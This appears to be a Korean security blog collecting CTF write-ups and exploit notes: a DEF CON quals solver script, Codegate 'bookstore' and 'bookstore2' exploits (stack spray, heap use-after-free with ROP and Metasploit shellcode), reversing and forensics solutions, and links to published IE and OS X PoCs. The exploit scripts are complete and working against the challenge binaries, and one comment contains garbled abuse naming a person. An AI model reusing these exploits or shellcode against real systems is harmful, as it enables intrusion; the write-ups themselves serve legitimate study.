안녕하세요 오랜만에 글을 업로드 해봅니다.


사실 좀 기간이 지나긴 했지만 가끔씩 물어보시는 분들이 계셔서.. 흠흠


몇달전에 제 깃헙에 지금까지 제가 발견했던 취약점들중 일부 POC를 공개했던 적이 있습니다!


모든 취약점을 공개할 수는 없어서 벤더사와 버그바운티사의 허락을 받은 취약점의 POC 만 공개합니다. (주로 브라우저 및 OS, 오픈소스 프로젝트 가 올라가있기도 하고 추가로 올라갈 예정입니다)


POC들은 대부분 웨포나이징의 목적이 아닌 취약점 증명이 목적이라 코드가 그리 깔끔하지 않습니다.


일부 POC는 EIP를 바꾸는 것도 있습니다. (IE 취약점 중엔 Vtguard 를 Memory Leak을 사용하지 않고 우회한 POC도 있었습니다 ㅎㅅㅎ)

Microsoft

Internet Explorer

  • CVE-2014-1799
  • CVE-2015-0037
  • CVE-2015-1712
  • CVE-2015-1714
  • CVE-2015-2447
  • ZDI-CAN-2712

Apple

OSX

  • CVE-2016-1818
  • CVE-2016-4780


아무튼 제 POC가 공부에 도움이 되시길.. ㅋㅋ


링크는 : https://github.com/sweetchipsw/vulnerability 입니다.


마지막으로..... 도움이 되셨다면 Star도 하나 박아주시면 정말 감사하겠습니다~ ㅎ



  1. 1234 2018.09.03 22:12

    Z ㅋ 왜 답장이 쳐 없냐 개 ㅓ개ㅑ ㅓㅒ꺄ㅓ 개ㅑㅓ 쌰 ㅓㅣ ㅓ ㅣ ㅏㅓ ㅣㅏ ㅓㅒㅑ ㅓ ㅒㅑ ㅓ김선영 ㅓ보 ㅣ저ㅏㅣ쎠이 너ㅣㅏ 너ㅣ 다ㅜ 디져ㅜㄹ지ㅏㅜ 지ㅏ러지ㅏ렂 ㅣㅏ혀니서이ㅜ이ㅏ너 개 ㅓ샤ㅒㅓ기 ㅓ끼ㅏㅓ ㅣ 버그바운티 어케 하는거냐 개ㅑ ㅓ개ㅑ서ㅒㅑ꺼ㅣㅏ ㅓㅣㅏ ㅓ 답글 쳐 달아라 갯 ㅐㅑ거ㅣㅑㅏ ㅓㅣㅏㅆㅜ디 ㅜ자ㅕㅣ뤼자 ㅣ혀나 ㅣ서ㅏㅣ어 ㅣ저ㅣ ㅓㅓ 스위트칩 뒤져ㅏ 개ㅑㅓㄱ ㅑ ㅓㅣㅏ꺼

  2. Favicon of https://cloud10.tvple.me/tv/prg.php?c=시사 BlogIcon 제주가좋다 2021.02.26 13:57

    잘 보고 갑니다...


안녕하세요.


요즘 포스팅에 쓸게 없다보니 예전부터 지금까지 배포했던 문서들을 모아둘까 해서 포스팅 해보려고 합니다.


처음 보안 공부를 접했을 때부터 exploit 관련 분야만 연구하다보니 글을 처음 쓰는 시간 기점으로 모두 Exploit분야밖에 안보이네요!


그래도 가끔씩 컨퍼런스 같은 곳에서 새로운 사람을 만날때 그때 그 문서, 그 자료를 잘 봤다고 인사를 해주는 분이 있는데


그럴때마다 보람을 느끼네요 ㅋㅋ


요즘은 별로 쓸 것도 없고 대단한 것도 아니니 잘 안쓰고 그냥 블로그 포스팅에 하나 남기고 있는데 언제가 될 진 모르지만 문서들을 계속 써볼 예정입니다.


아래는 제가 지금까지 작성한 문서들 리스트입니다. (아직은 4건밖에 없네요.)


2015/01/15 - [0x10 정보보안/0x15 System] - 기술문서 - Introduction to IE's memory protection

- Microsoft Internet Explorer 에 적용되어 있는 Custom Memory Protection들에 대한 소개입니다.

- 여러 브라우저가 그렇듯이 IE도 또한 자신들의 프로그램을 공격하기 어렵게 하기 위해서 각가지 메모리 보호기법을 제작하고 적용했습니다.

- 적용된 보호기법이 어떤 것들이 있는지 알아보고 직접 우회해본 경험담을 바탕으로 작성되었습니다.


2014/04/26 - [0x10 정보보안/0x15 System] - CVE-2012-4792 IE Use-After-Free Analysis and Exploit

- 차세대 보안리더 양성 프로그램 Best Of the Best 2기 프로젝트로 웹브라우저 해킹이 있었는데 프로젝트를 시작할 때 제작한 과거 취약점 분석 입니다.

- 분석 뿐만 아니라 실제로 어떻게 분석을 해야하는지 windbg 명령어로 초반 입문 하는 분들에게는 분명 도움이 되실 겁니다.


2014/08/20 - [0x10 정보보안/0x15 System] - [Memory Protection] Internet Explorer - VTguard에 대하여

- 이 당시에는 그리 긴 문서가 아니라서 그냥 웹에 적은 문서입니다.

- Vtguard를 Memory Leak 버그를 사용하지 않고 EIP를 변경할 수 있는 방법론 입니다.

- 실제 우회 성공 이후 작성한 문서입니다.

2013/05/22 - [0x10 정보보안/0x15 System] - Basic of Real World Exploit on windows [Document]

- 윈도우 어플리케이션의 취약점을 공격하는 것을 따라해보는 컨셉의 문서입니다.
- 대상 프로그램 및 버그는 매우 간단하여 쉽게 따라하실 수 있을 것입니다.

이상입니다!


  1. 익명 2015.08.24 02:22

    비밀댓글입니다

  2. hoc 2017.04.26 17:50

    감사합니다.!



이번에 데프콘 대회는 순천향대 Security First, Leaveret 그리고 저희 동아리인 SSG 연합으로 나가게 되었는데


이상하게도 작년보다 난이도가 더 어려운것 같네요.


문제들을 분석한것도 많고 취약점도 찾았지만 Exploit을 하지 못한 문제가 상당히 많았습니다 ㅠㅠ


이번 포스팅에는 그냥 문제중 한개인 코딩 챌린지를 풀이하도록 하겠습니다. (문제 이름이 기억이 안나서 그냥 코딩 챌린지로 했습니다,)


#!/usr/bin/env python


import subprocess, os, tempfile

from ctypes import *

import os

from socket import *

import time

import struct

# from pyasm import Program

# from pyasm.instructions import push, mov, ret, pop

# from pyasm.registers import eax, esp, ebp

from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits


p= lambda x: struct.pack("


PAGE_SIZE = 4096


class AssemblerFunction(object):


def __init__(self, code, ret_type, *arg_types):

# Run Nasm

fd, source = tempfile.mkstemp(".S", "assembly", os.getcwd())

os.write(fd, code)

os.close(fd)

target = os.path.splitext(source)[0]

subprocess.check_call(["nasm",source])

os.unlink(source)

binary = file(target,"rb").read()

os.unlink(target)

bin_len = len(binary)


# align our code on page boundary.

self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)

addr = (addressof(self.code_buffer) PAGE_SIZE) & (~(PAGE_SIZE-1))

memmove(addr, binary, bin_len)


# Change memory protection

self.mprotect = cdll.LoadLibrary("libc.so.6").mprotect

mp_ret = self.mprotect(addr, bin_len, 4) # execute only.

if mp_ret: raise OSError("Unable to change memory protection")


self.func = CFUNCTYPE(ret_type, *arg_types)(addr)

self.addr = addr

self.bin_len = bin_len


def __call__(self, *args):

return self.func(*args)


def __del__(self):

# Revert memory protection

if hasattr(self,"mprotect"):

self.mprotect(self.addr, self.bin_len, 3)



def mov(data):

result = []

data = data.split("\n")

for i in data:

if "=" in i:

tmp = i.split('=')

result.append("mov " tmp[0] ", " tmp[1])

return "\n".join(result)


if __name__ == "__main__":

ip = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me"

port = 9999


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


lst = []

inst = s.recv(1024)

# print inst

instructions = s.recv(1024).split("\n")[2]

print instructions

print instructions.encode("hex")


l = Decode(0, instructions, Decode64Bits)

t_ins = ""

for i in l:

t_ins = i[2] "\n"

movs = mov(inst)

# print movs

# print t_ins



result = "****Initial Register State****\n"

result = ""

registers = ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"]

for i in registers:

add_func = """BITS 64\n""" movs "\n" t_ins.replace("RET\n", "") """mov rax, """ i """

ret

"""

print add_func

Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)

result = i "=" str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) "\n"


result = result.replace("L", "")

s.send(result)

print result

print s.recv(1024)


"""

rax=0x9c8982fc3b5cfae9

rbx=0x20223acc7e6949cb

rcx=0x3a46c99c

rdx=0xd5239501c5b48bd

rsi=0xbabfac6bbf67bbfd

rdi=0xe8fb6dcfe0000000

r8=0xcde6d06e980dd1ce

r9=0x339f0bb7dee53e3e

r10=0x23a769fd87124021

r11=0x2cb79cbedc86431f

r12=0x4d32ab24658d00be

r13=0x7dab448d20a82708

r14=0x3c8b784c

r15=0x43ccf3fcf39883c6


The flag is: Cats with frickin lazer beamz on top of their heads!

"""


문제는 간단하게 64비트 레지스터와 어셈블리 코드를 바이트코드화 해서 클라이언트에게 보내줍니다.


그러면 저희는 그 정보를 받아서 바이트 코드를 실행하고 레지스터 정보를 다시 되돌려 줘야 하는 문제인데요,


구글링해서 python에서 어셈블리 명령어를 실행하고 실행한 명령어의 결과값을 받아오는 스크립트가 있었습니다.


하지만 보내야 하는 것은 레지스터들 정보들이라서 결과값으로는 부족합니다.


그래서 쓴 간단한 꼼수가 함수의 결과값을 받아오는 스크립트이니 마지막에 mov rax, registers 를 붙여서 모든 레지스터의 값을 리턴하고 그 값을 받아오도록 코딩했습니다.


그래서 한번 실행하면 16개의 레지스터들을 모두 얻어오고 서버로 보내면 키값을 되돌려 줍니다.


그래서 저 스크립트를 실행시키면


The flag is: Cats with frickin lazer beamz on top of their heads!


제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 Bookstore2 문제 풀이입니다.





흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.


일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.


이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.


본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.


또한 대회 전날까지 고의적으로 키값등을 삭제하는 부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,


계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.



사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)


아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.


그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.


아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!


끝나고라도 풀리니 다행... ㅎㅎ


이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.





Bookstore2 Binary---------------------------------------------------


bookstore2.exe


load.bat


loader.exe

--------------------------------------------------------------------

Server Environment

- Windows 7 Ultimate 32bit

- Low Integrity Process


Vulnerability

- Use-After-Free


Memory Protection

- ASLR, DEP, Stack Cookie, Safe SEH


문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.


참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제이다.


그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)


문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.


이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.


바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.


하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.



보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.


그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.


다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.


또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.


그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.



그럼 어떻게 해야 할까?


문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.


또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.


이 점을 이용하여 다음과 같이 생각해보자.


예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.


Struct_A ----------------------------------

HHHHHHHHDDDDDDDDDDDDDDDD

| Header | ... Data 0x40 ... |

-----------------------------------------


그리고 B 구조체는 다음과 같을 것이다.


Struct_B ----------------------------------

HHHHHHHHDDDDDDDDDDDD

| Header | .. Data 0x3c .. |

-----------------------------------------


이중 일부 데이터가 Controllable 하다고 하고 일부 데이터가 Function Pointer 라고 하자.



구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.


그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.


위 사진처럼 할당을 하면 어딘가에서는 Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것이다.


이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.





Exploit Code


아래는 위 원리를 적용한 Exploit이며


Windows 7, Windows 8.1에서 작동하는것을 확인했다.


실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.


import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re


shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)


ip = "200.200.200.5"

port = 1337


ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))


eip = 1

eip1 = 1

eip2 = 1


def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


def s(a):

ss.sendall(a)


def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")


def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")


def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8


def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()


s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index


def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")



def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()


def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix


ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000


result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)


result = p(virtual_space 20)

return result


################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1


data = view(2) # infoleak



print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1


put_gadget(payload(baseaddr), 6)


################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)



끝!


  1. 알 수 없는 사용자 2015.04.19 10:48

    wow 윈도우 포너블.. 수고하셧습니다!!



올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데


사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.


그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ


나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.


그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..


나오게된 셀프 Write-Up!



Bookstore -

bookstore_bin


Bug Class : Uninitialized memory reference


문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.


바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.


아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 문제를 풀고나면 생각보다 간단했을 것이다.



이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.


예를들어서 위와 같은 구조체가 있다고 하자.



이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.


그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.

그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 초기화 하지 않은 부분이다.


아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.

사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?

문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.

사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.


그렇다면 다시 살펴보자.

위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.

그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.


위는 스택 스프레이가 진행된 모습이다.


그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. (s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.)


위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.


그래서 탄생한 Exploit 은 다음과 같다.



#Exploit


from socket import *

import struct

import os

p = lambda x : struct.pack("


ip = "0.0.0.0" # blind

port = 31337


print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


#def s(s, a):

# s.sendall(a)


print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")


print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)



s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)



s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]


point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))


s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)



s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)



s.sendall("3\n") # create vuln object

print r(s)


s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)



s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)


s.sendall("0\n") # back to main menu

print r(s)


s.sendall("4\n") # show list

print r(s)


s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()



곧바로 다음 포스팅은 본선에 출제된 bookstore2...


감사합니다.




dodoCrackme


binary

crackme_d079a0af0b01789c01d5755c885da4f6


우선 바이너리는 64비트 크랙미 파일이며 string이 존재하지 않아 첫번째 멘붕을 시켜준 문제이다.


마음을 진정하고 strace를 해보았다.

helloworld@ubuntu:~/sweetchip$ strace ./c

execve("./c", ["./c"], [/* 19 vars */]) = 0

mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7e1f22d000

write(1, "r", 1r) = 1

write(1, "o", 1o) = 1

write(1, "o", 1o) = 1

write(1, "t", 1t) = 1

write(1, "@", 1@) = 1

write(1, "l", 1l) = 1

write(1, "o", 1o) = 1

write(1, "c", 1c) = 1

write(1, "a", 1a) = 1

write(1, "l", 1l) = 1

write(1, "h", 1h) = 1

write(1, "o", 1o) = 1

write(1, "s", 1s) = 1

write(1, "t", 1t) = 1

write(1, "'", 1') = 1

write(1, "s", 1s) = 1

write(1, " ", 1 ) = 1

write(1, "p", 1p) = 1

write(1, "a", 1a) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "w", 1w) = 1

write(1, "o", 1o) = 1

write(1, "r", 1r) = 1

write(1, "d", 1d) = 1

write(1, ":", 1:) = 1

write(1, " ", 1 ) = 1

read(0, zz

"z", 1) = 1

read(0, "z", 1) = 1

read(0, "\n", 1) = 1

write(1, "P", 1P) = 1

write(1, "e", 1e) = 1

write(1, "r", 1r) = 1

write(1, "m", 1m) = 1

write(1, "i", 1i) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "i", 1i) = 1

write(1, "o", 1o) = 1

write(1, "n", 1n) = 1

write(1, " ", 1 ) = 1

write(1, "d", 1d) = 1

write(1, "e", 1e) = 1

write(1, "n", 1n) = 1

write(1, "i", 1i) = 1

write(1, "e", 1e) = 1

write(1, "d", 1d) = 1

write(1, " ", 1 ) = 1

write(1, "(", 1() = 1

write(1, "p", 1p) = 1

write(1, "a", 1a) = 1

write(1, "s", 1s) = 1

write(1, "s", 1s) = 1

write(1, "w", 1w) = 1

write(1, "o", 1o) = 1

write(1, "r", 1r) = 1

write(1, "d", 1d) = 1

write(1, ")", 1)) = 1

write(1, ".", 1.) = 1

write(1, "\n", 1

) = 1

_exit(0) = ?

exited with 0


보면 1글자씩 write를 하는것 같았다. 하지만 hex로 파일을 보면 string이 아예없고 비슷하게 모여있는것은 없었다.


그래서 ida로 열어보니 1바이트씩 계속 'inc byte ptr [rbp 0]' 연산을 하는것을 볼 수 잇엇는데 이같이 글자를 1개씩 늘려서 출력하는 것으로 예상하고


대충 찾아보았다. 그랬더니 H4PPY 가 맞춰지는 것을 보고 노가다를 뛰어서 키를 만들어냈다.


Key : H4PPY_C0DEGaTE_2014_CU_1N_K0RE4


#######################################################################################################################


WeirdShark


binary

invalid-file



매우 간단한 문제이다.




cap_len이 0xFE89413E 라서 매우 길다는 것인데 (최대 길이 62)


이를 찾아보면



가 있다. 이를 3e 00 00 00 으로 바꿔주고 실행하면 패킷이 잘 보이는데,


http로 전송된 파일목록을 모두 추출하면 여러 파일 중 pdf 가 보일것이다.


pdf를 살펴보면




Key : FORENSICS_WITH_HAXORS




  1. KaiEn 2014.02.27 00:12

    이야 성원이 문제 많이 풀었네..ㄷㄷ
    그 두두크랙미는 걍 gdb에서 data영역 덤프하니까 바로 나오던뎀..

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.02.27 01:20 신고

      ㅋㅋ 코드게이트 문제를 풀고 암이 걸렸습니다.. ㅠ-ㅠ.
      하아.. 새로운 사실 알아갑니다.. 감사합니다 ㅎㅎ




binary

invalid-file



코드게이트에 출제된 윈도우 리버싱 문제이다.


다른 팀의 풀이를 보고 한숨 나왔다... 내가 삽질 한거구나.. -_-


프로그램은 자신을 400번이나 재 실행하는 프로그램이다.


프로그램을 분석해보면 재 실행 하는 과정 중 다음 복제할 프로그램의 인자를 생성하고 받은 인자로 키배열로 추정되는 배열을 연산시킨다.


ag1 = 0xA8276BFA

ag2 = 0x92F837ED


ror=lambda x, y: ((x & 0xFFFFFFFF) >> y) | (x << (32-y2)) & 0xFFFFFFFF

rol=lambda x, y: (x << y) & 0xFFFFFFFF | ((x & 0xFFFFFFFF) >> (32-y2))


def ROR(x, y):

x=bin(x & 0xFFFFFFFF)[2:].zfill(32)

start=x[:-y]

end=x[-y:]

return eval('0b' end start)

def ROL(x, y):

x=bin(x & 0xFFFFFFFF)[2:].zfill(32)

start=x[:y]

end=x[y:]

return eval('0b' end start)


def f_401280(a1, a2):

v4 = 1

i = 0

for i in range(0, a2):

v4 *= a1

return v4&0xffffffff


def wtf(str, a1, a2):

v3 = len(str) 1;

v6 = ""

for i in range(0, v3-1, 2):

v6 = chr(int(a1 & 0xff) ^ ord(str[i]))

a1 = ROL(a1, 5) ^ 0x2f

if str[i 1] == "":

break

v6 = chr(int(a2 & 0xff) ^ ord(str[i 1]))

a2 = (a1&0xff) ^ ROL(a2, 11)

return v6


if __name__ == '__main__':

ag3 = 1

flag = 0

